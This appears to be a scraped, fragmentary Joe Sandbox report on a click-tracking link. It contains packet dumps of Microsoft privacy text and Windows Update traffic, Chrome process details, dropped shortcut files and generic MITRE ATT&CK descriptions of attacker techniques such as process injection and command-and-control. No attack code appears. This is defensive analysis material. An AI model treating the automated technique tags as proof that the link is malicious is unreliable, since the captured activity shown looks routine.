2024-04-26 11:21:47 UTC	16384	IN	Data Raw: 61 64 73 20 61 6e 64 20 63 6f 6e 74 65 6e 74 20 62 61 73 65 64 20 6f 6e 20 79 6f 75 72 20 73 6f 63 69 61 6c 20 6d 65 64 69 61 20 70 72 6f 66 69 6c 65 73 20 61 6e 64 20 61 63 74 69 76 69 74 79 20 6f 6e 20 6f 75 72 20 77 65 62 73 69 74 65 73 2e 20 54 68 65 79 e2 80 99 72 65 20 75 73 65 64 20 74 6f 20 63 6f 6e 6e 65 63 74 20 79 6f 75 72 20 61 63 74 69 76 69 74 79 20 6f 6e 20 6f 75 72 20 77 65 62 73 69 74 65 73 20 74 6f 20 79 6f 75 72 20 73 6f 63 69 61 6c 20 6d 65 64 69 61 20 70 72 6f 66 69 6c 65 73 20 73 6f 20 74 68 65 20 61 64 73 20 61 6e 64 20 63 6f 6e 74 65 6e 74 20 79 6f 75 20 73 65 65 20 6f 6e 20 6f 75 72 20 77 65 62 73 69 74 65 73 20 61 6e 64 20 6f 6e 20 73 6f 63 69 61 6c 20 6d 65 64 69 61 20 77 69 6c 6c 20 62 65 74 74 65 72 20 72 65 66 6c 65 63 74 20 Data Ascii: ads and content based on your social media profiles and activity on our websites. Theyre used to connect your activity on our websites to your social media profiles so the ads and content you see on our websites and on social media will better reflect
2024-04-26 11:21:48 UTC	16384	IN	Data Raw: 70 6c 6f 79 65 72 20 6f 72 20 79 6f 75 72 20 73 63 68 6f 6f 6c 29 20 63 72 65 61 74 65 20 79 6f 75 72 20 4d 69 63 72 6f 73 6f 66 74 20 61 63 63 6f 75 6e 74 20 74 69 65 64 20 74 6f 20 79 6f 75 72 20 65 6d 61 69 6c 20 61 64 64 72 65 73 73 20 70 72 6f 76 69 64 65 64 20 62 79 20 74 68 61 74 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 2c 20 77 65 20 72 65 66 65 72 20 74 6f 20 74 68 61 74 20 61 63 63 6f 75 6e 74 20 61 73 20 61 20 3c 73 74 72 6f 6e 67 3e 77 6f 72 6b 20 6f 72 20 73 63 68 6f 6f 6c 20 61 63 63 6f 75 6e 74 3c 2f 73 74 72 6f 6e 67 3e 2e 3c 2f 6c 69 3e 3c 6c 69 3e 57 68 65 6e 20 79 6f 75 20 6f 72 20 79 6f 75 72 20 73 65 72 76 69 63 65 20 70 72 6f 76 69 64 65 72 20 28 73 75 63 68 20 61 73 20 61 20 63 61 62 6c 65 20 6f 72 20 69 6e 74 65 72 6e 65 74 20 73 65 Data Ascii: ployer or your school) create your Microsoft account tied to your email address provided by that organization, we refer to that account as a <strong>work or school account</strong>.</li><li>When you or your service provider (such as a cable or internet se
2024-04-26 11:21:48 UTC	16384	IN	Data Raw: 20 6e 75 6d 62 65 72 20 74 6f 20 62 6f 6f 73 74 20 61 63 63 6f 75 6e 74 20 73 65 63 75 72 69 74 79 2e 20 49 66 20 79 6f 75 72 20 63 68 69 6c 64 20 6e 65 65 64 73 20 68 65 6c 70 20 61 63 63 65 73 73 69 6e 67 20 74 68 65 69 72 20 61 63 63 6f 75 6e 74 2c 20 74 68 65 79 20 77 69 6c 6c 20 62 65 20 61 62 6c 65 20 74 6f 20 75 73 65 20 6f 6e 65 20 6f 66 20 74 68 65 73 65 20 61 6c 74 65 72 6e 61 74 65 73 20 74 6f 20 76 61 6c 69 64 61 74 65 20 74 68 65 79 20 6f 77 6e 20 74 68 65 20 4d 69 63 72 6f 73 6f 66 74 20 61 63 63 6f 75 6e 74 2e 3c 2f 70 3e 3c 70 3e 57 65 20 63 6f 6c 6c 65 63 74 20 6c 69 6d 69 74 65 64 e2 80 af 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 63 68 69 6c 64 72 65 6e 2c e2 80 af 69 6e 63 6c 75 64 69 6e 67 e2 80 af 6e 61 6d 65 2c 20 62 69 Data Ascii: number to boost account security. If your child needs help accessing their account, they will be able to use one of these alternates to validate they own the Microsoft account.</p><p>We collect limitedinformation about children,includingname, bi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49777	40.68.123.157	443

Timestamp	Bytes transferred	Direction	Data
2024-04-26 11:21:47 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=TtzcNWtAezK1OOG&MD=nko9pdNz HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-26 11:21:48 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_2160" MS-CorrelationId: 0ed2de27-248e-41c8-85d6-9debd52af0e4 MS-RequestId: e79ec62b-3aee-45cf-9e8b-8c4949c918fd MS-CV: MWt+ksm9JUuY61ZY.0 X-Microsoft-SLSClientCache: 2160 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 26 Apr 2024 11:21:46 GMT Connection: close Content-Length: 25457
2024-04-26 11:21:48 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2024-04-26 11:21:48 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Target ID:	0
Start time:	13:20:42
Start date:	26/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	13:20:47
Start date:	26/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2508 --field-trial-handle=2320,i,14859274825714643939,18036656266381728292,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	13:20:53
Start date:	26/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://click.pstmrk.it/3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://click.pstmrk.it/3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Windows Analysis Report
https://click.pstmrk.it/3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz